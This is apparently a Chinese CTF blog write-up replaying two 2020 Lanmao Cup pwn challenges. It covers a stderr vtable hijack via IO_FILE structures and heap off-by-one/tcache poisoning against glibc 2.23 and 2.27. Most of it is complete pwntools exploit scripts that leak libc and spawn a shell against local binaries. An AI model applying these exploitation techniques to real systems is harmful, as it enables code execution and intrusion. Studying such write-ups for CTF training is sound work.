蓝帽杯2020-pwn1&pwn3复现

前两天队友们在打蓝帽杯,非警校人员只能赛后看题了

只做了pwn1和pwn3(应该是这个顺序
两题都涉及了IO_FILE的知识点利用,刚好最近也在刷IO_FILE就做来练练手了

camp(pwn1)

这真的是赤裸裸考IO_FILE的题啊,完全不需要别的操作,纯往里写,就靠结构知识的感觉

大概是用stdin来leak出libc的地址,然后改stderr的vtable,执行exit的时候会执行IO_flush_all_lockp

跳转到vtable+0x18处执行IO_file_overflow函数
我们就填充fake_vtable实现调用one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#coding=utf8
from pwn import *
context.log_level = 'debug'
p=process("./pwn")
elf=ELF('./pwn')
libc=ELF('./libc.so')

def stdout_0(size,content):
p.recvuntil(">>>\n")
p.sendline("1")
p.recvuntil("size:\n")
p.sendline(str(size))
p.recvuntil("content:\n")
p.send(content)

def stdin_0(size,content):
p.recvuntil(">>>\n")
p.sendline("2")
p.recvuntil("size:\n")
p.sendline(str(size))
p.recvuntil("content:\n")
p.send(content)

def stderr_0(size,content):
p.recvuntil(">>>\n")
p.sendline("3")
p.recvuntil("size:\n")
p.sendline(str(size))
p.recvuntil("content:\n")
p.send(content)

def logs():
p.recvuntil(">>>")
p.sendline("4")

def clean():
p.recvuntil(">>>")
p.sendline("5")


# stdin_0(0xf0,'a'*0xf0)
stdin_0(0x80,'a\n')
stdin_0(0x80,'a\n')
# stdin_0(0x80,'a\n')
clean()
# stdout_0(64,p64(elf.got['write']))
stdin_0(0x80,'a')
logs()
p.recvuntil("stdin\n")
main_arena = u64(p.recv(6).ljust(8,'\x00'))-0x41
print hex(main_arena)

# stdin_0(0x80,'a\n')
libc_base = main_arena - 0x3c4b20
print hex(libc_base)
jump=libc_base+libc.symbols['_IO_file_jumps']+0xc0
fake_vtable = libc_base + 0x3c5600-8
# fake_vtable = libc_base +0x3c4998-8
stdout = libc_base + 0x3c5620
onegadget=libc_base+0xf02a4
# py = '\x00' + p64(libc_base+0x3c55e0) + p64(0)*3+p64(0x1)+p64(0)+p64(onegadget)+p64(fake_vtable)

stderr = p64(0x00000000fbad2087)+p64(libc_base+0x3c55c3)*7
stderr += p64(libc_base+0x3c55c3+1)+p64(0)*4+p64(stdout)+p64(2)+p64(0xffffffffffffffff)+p64(0)
stderr += p64(libc_base+0x3c6770)+p64(0xffffffffffffffff)+p64(0)
stderr += p64(libc_base+0x3c55e0) + p64(0)*3+p64(1)+p64(0)+p64(onegadget)+p64(fake_vtable)#+p64(0x00000000ffffffff)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
gdb.attach(p)
stderr_0(len(stderr),stderr)
# stdin_0(0x180,'b')
p.recvuntil(">>>")
p.sendline("2")
p.recvuntil("size:\n")
p.sendline(str(0x180))

p.interactive()

听说远程很狗,不打比赛就没体验到,本地通了就over吧

safebox(pwn3)

一开始我还以为是glibc2.23的版本呢
所以用2.23做了一遍,由于2.23对size的检查问题,fakechunk的size一定要符合条件,所以最后getshell不能改free_hook,我就改了malloc为one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#coding=utf8
from pwn import *
context.log_level = 'debug'
p=process("./pwn")
elf=ELF('./pwn')
# libc=ELF('./libc.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(idx,size,content):
p.recvuntil('>>>')
p.sendline("1")
p.recvuntil("idx:")
p.sendline(str(idx))
p.recvuntil("len:")
p.sendline(str(size))
p.recvuntil("content:")
p.send(content)

def delete(idx):
p.recvuntil('>>>')
p.sendline("2")
p.recvuntil("idx:")
p.sendline(str(idx))


add(0,0x18,'0')
add(1,0x108,'a')
add(2,0x60,'b')
add(3,0x60,'c')
add(4,0xf8,'c')
add(5,0x20,'d')

delete(0)
add(0,0x18,'a'*0x18+'\xf1')
delete(2)
delete(3)
delete(1)

# delete(0)

# add(0,0x30,'a'*0x18+p64(0x91)+p16(0x2620-0x41))

add(1,0x108,'a')
# gdb.attach(p)
# delete(4)
add(2,0x70,p16(0x2620-0x43))
delete(1)
add(1,0x108,'a'*0x108+'\x71')
add(3,0x60,'b')
add(6,0x60,'c')

payload='a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00'
add(7,0x68,payload)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
print hex(libc_base)
system = libc_base + 0x44e30
free_hook = libc_base + 0x3c67a8
malloc_hook = libc_base+0x3c4b10
onegadget=libc_base+0xf1207

p.sendline("1")
p.recvuntil("idx:")
p.sendline(str(8))
p.recvuntil("len:")
p.sendline(str(0x50))
p.recvuntil("content:")
p.send('a')
add(8,0x18,'a')


add(9,0x108,'b')
add(10,0x68,'c')
add(11,0x68,'d')
add(12,0x68,'/bin/sh\x00')
# add(13,0x18,'\n')

delete(8)
add(0,0x18,'a'*0x18+'\xf1')
delete(10)
delete(11)
delete(9)

add(9,0x108,'b')
add(10,0x70,p64(malloc_hook-0x23))
delete(9)
add(9,0x108,'a'*0x108+'\x71')
add(11,0x68,'d')
add(13,0x68,'ddd')
add(14,0x60,'a'*0x13+p64(onegadget))
gdb.attach(p)
p.sendline("1")
p.recvuntil("idx:")
p.sendline(str(15))
p.recvuntil("len:")
p.sendline('/bin/sh\x00')

p.interactive()

后来发现,原来是2.27的题,其实也没什么不一样,就是要leak地址的话得先malloc largebin
然后可以直接覆写低两位的地址,不考虑size位
所以我们可以覆盖free_hook再delet实现getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#coding=utf8
from pwn import *
context.log_level = 'debug'
p=process("./pwn")
elf=ELF('./pwn')
# libc=ELF('./libc.so')
libc = ELF('./libc-2.27.so')

def add(idx,size,content):
p.recvuntil('>>>')
p.sendline("1")
p.recvuntil("idx:")
p.sendline(str(idx))
p.recvuntil("len:")
p.sendline(str(size))
p.recvuntil("content:")
p.send(content)

def delete(idx):
p.recvuntil('>>>')
p.sendline("2")
p.recvuntil("idx:")
p.sendline(str(idx))

def exp():

add(0,0x68,'0')
add(1,0x408,'a')
add(2,0x60,'b')
add(3,0x60,'c')
add(4,0xf8,'c')


delete(0)
add(0,0x68,'a'*0x68+'\xf1')
delete(2)
delete(3)
delete(1)


add(1,0x408,'a')
add(2,0x70,p16(0x4760))
add(5,0x60,'b')
add(6,0x60,'c')

payload=p64(0xfbad1800)+p64(0)*3+'\x00'
add(7,0x60,payload)
# gdb.attach(p)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ed8b0
print hex(libc_base)
system = libc_base + libc.symbols['system']+0xa0
print hex(system)
free_hook = libc_base + libc.symbols['__free_hook']
print hex(free_hook)

p.sendline("1")
p.recvuntil("idx:")
p.sendline(str(8))
p.recvuntil("len:")
p.sendline(str(0x50))
p.recvuntil("content:")
p.send('a')
# add(8,0x18,'a')

gdb.attach(p)
add(8,0x88,'a')
add(9,0x108,'b')
add(10,0x70,'c')
add(11,0x70,'d')

delete(8)
add(8,0x88,'a'*0x88+'\x91')

delete(10)
delete(9)

payload = 'A' * 0x100 + p64(0) + p64(0x80) + p64(free_hook)
add(9,0x180,payload)
gdb.attach(p)

one_gadget = libc_base + 0x4f2c5
add(10,0x70,'/bin/sh\x00')
add(12,0x70,p64(system))
gdb.attach(p)
delete(10)

p.interactive()

while True:
try:
p=process('./pwn')
libc=ELF('./libc-2.27.so')
exp()

break
except:
continue